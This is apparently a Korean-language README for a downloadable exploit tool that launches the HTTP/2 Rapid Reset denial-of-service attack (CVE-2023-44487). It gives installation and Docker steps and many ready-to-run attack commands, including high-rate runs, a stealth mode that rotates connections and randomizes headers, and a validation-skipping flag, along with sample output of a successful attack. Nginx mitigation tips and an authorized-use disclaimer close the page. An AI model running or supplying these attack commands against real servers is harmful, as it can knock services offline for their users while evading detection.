CVE-2023-44487 HTTP/2 DoS Rapid Reset 익스플로잇
프로페셔널 에디션 v1.0.1 | 저자: Sudeepa Wanigarathna
-orange.svg)
목차
개요
CVE-2023-44487(HTTP/2 Rapid Reset 취약점)을 위한 프로페셔널 등급 평가 프레임워크입니다. 이 도구는 보안 전문가가 최근 몇 년간 공개된 가장 영향력 있는 HTTP/2 DoS 조건 중 하나에 대해 시스템을 테스트하고 검증할 수 있도록 돕습니다.
HTTP/2 스트림을 빠르게 생성하고 재설정하면 서버 리소스를 고갈시켜 서비스 거부(DoS) 상태를 유발할 수 있다는 것을 보여줍니다.
주요 기능 한눈에 보기
- 다중 연결 공격 엔진 — 동시 HTTP/2 연결
- 적응형 속도 제어 — 최대 효과를 위한 동적 조정
- 스텔스 모드 — 무작위 헤더 및 연결 순환
- 포괄적인 보고 — 위험 평가를 포함한 JSON/CSV
- Docker 지원 — 컨테이너화된 배포
- 실시간 모니터링 — 실시간 공격 지표 및 진행 상황
- 프로페셔널 로깅 — 파일 로깅을 지원하는 컬러 콘솔 출력
| 사용법 | 결과 |
|---|
 |  |
취약점 세부 정보
CVE-2023-44487: HTTP/2 Rapid Reset 공격
기술 개요
이 취약점은 HTTP/2 프로토콜의 스트림 관리 메커니즘을 악용합니다:
- 스트림 생성 — 클라이언트가 새 스트림을 만들기 위해 HEADERS 프레임을 전송
- 즉시 재설정 — 클라이언트가 즉시 RST_STREAM 프레임을 전송
- 서버 처리 — 서버는 두 프레임을 모두 처리해야 하므로 리소스 소비
- 리소스 고갈 — 반복적인 주기가 서버 리소스를 압도
영향
- HTTP/2 서버의 리소스 고갈
- 잠재적 서비스 거부(DoS)
- 로드 밸런서, 프록시, CDN에 영향을 줄 수 있음
- 인증이나 특별한 권한이 필요 없음
기능
핵심 기능
고급 기능
- 프록시 지원 — 확장 가능한 프록시 구성
- 연결 풀링 — 효율적인 연결 관리
- 오류 복구 — 연결 실패의 안정적인 처리
- 성능 튜닝 — 다양한 시나리오를 위한 구성 가능한 설정
- CI/CD 통합 — 자동화된 보안 테스트에 적합
요구 사항
시스템 요구 사항
종속성
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
설치
1. 빠른 설치
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. 가상 환경 (권장)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Docker 설치
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. 수동 설치
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
빠른 시작
기본 사용법
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
빠른 테스트 (5초)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
전체 평가 (60초)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
사용 가이드
명령줄 옵션
대상 구성
공격 구성
고급 옵션
보고
구성 옵션
위의 CLI 플래그를 사용하여 동시성, 스트림 수, 지속 시간 및 보고를 조정하십시오. 초기 검증에는 낮은 -c / -s / -d 값을 사용하고, 승인된 스트레스 테스트 대상 시스템에서만 규모를 늘리십시오.
Docker 지원
이미지 빌드
docker build -t cve-2023-44487-exploit .
기본 평가 실행
docker run --rm cve-2023-44487-exploit target.com
사용자 지정 매개변수로 실행
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
결과를 로컬에 저장
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
대화형 모드
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
예제
1. 기본 HTTPS 평가
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. HTTP 평가 (SSL 없음)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. 고성능 실험실 실행
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. 스텔스 모드
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. 빠른 검증 테스트
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. CSV 보고서 생성
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. 검증 건너뛰기
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. 승인된 프로덕션 테스트
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
결과 이해
출력 지표
위험 평가 등급
샘플 출력
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
보안 권장 사항
시스템 관리자를 위한
즉시 조치
-
보안 패치 적용
- 최신 HTTP/2 구현으로 업데이트
- 벤더별 보안 패치 적용
- 로드 밸런서 및 프록시 업데이트
-
속도 제한 구현
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
-
연결 제한
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
구성 강화
| 설정 | 권장 사항 |
|---|
| 최대 동시 스트림 | 연결당 100–200으로 설정 |
| 스트림 재설정 속도 | 클라이언트당 <100/초로 제한 |
| 연결 제한 | IP당 최대 50–100 연결 |
| 시간 초과 값 | 유휴 시간 초과 줄이기 |
모니터링
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
권장 보안 통제
법적 고지
중요: 이 도구를 사용하기 전에 주의 깊게 읽으십시오
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
사용 약관
이 도구를 사용함으로써 귀하는 다음 사항을 인정하고 동의합니다:
- 대상 시스템을 테스트할 수 있는 명시적 서면 허가를 보유하고 있습니다
- 이 평가의 위험과 잠재적 영향을 이해합니다
- 모든 관련 법률 및 규정을 준수합니다
- 귀하의 행동에 대한 전적인 책임을 수락합니다
- 이 도구를 승인되지 않은 활동에 사용하지 않습니다
금지된 사용
이 도구는 다음 용도로 사용해서는 안 됩니다:
- 승인되지 않은 테스트 또는 공격
- 소유하지 않았거나 테스트 권한이 없는 시스템에 대한 서비스 거부
- 승인 없이 프로덕션 시스템 중단
- 금전적 피해 유발
- 모든 불법 활동
책임 고지
저자와 기여자들은 이 도구를 어떠한 보증도 없이 "있는 그대로" 제공합니다. 이 도구의 사용은 전적으로 사용자 본인의 책임입니다. 저자는 이 도구 사용으로 인해 발생하는 어떠한 손해나 법적 문제에 대해서도 책임을 지지 않습니다.
이 도구의 승인되지 않은 사용은 다음을 포함하되 이에 국한되지 않는 법률을 위반할 수 있습니다:
- Computer Fraud and Abuse Act (CFAA) — 미국
- Computer Misuse Act — 영국
- General Data Protection Regulation (GDPR) — EU
- 기타 관련 지역, 국가 및 국제법
저자
Sudeepa Wanigarathna
변경 로그
버전 1.0.1 (현재)
connection_attempts 속성 오류 수정
- SSL/ALPN 검증 개선
- 시간 초과 처리 추가
- 오류 복구 강화
--skip-validation 플래그 추가
- Docker 지원 개선
버전 1.0.0 (최초)
- 프로페셔널 에디션 최초 릴리스
- 다중 연결 공격 엔진
- 적응형 속도 제어
- 스텔스 모드
- 포괄적인 보고
- Docker 지원
라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 — 자세한 내용은 LICENSE 파일을 참조하십시오.
감사의 말
- HTTP/2 프로토콜 팀
- CVE-2023-44487을 식별한 보안 연구원들
- 오픈 소스 커뮤니티(
h2, aiohttp 프로젝트)
참고 자료
지원
문제 및 질문은 다음을 통해 문의하십시오:
빠른 참조 카드
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
알림: 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오. 이 도구를 책임감 있고 윤리적으로 사용하십시오.
Sudeepa Wanigarathna가 유지 관리 | 마지막 업데이트: 2026년 8월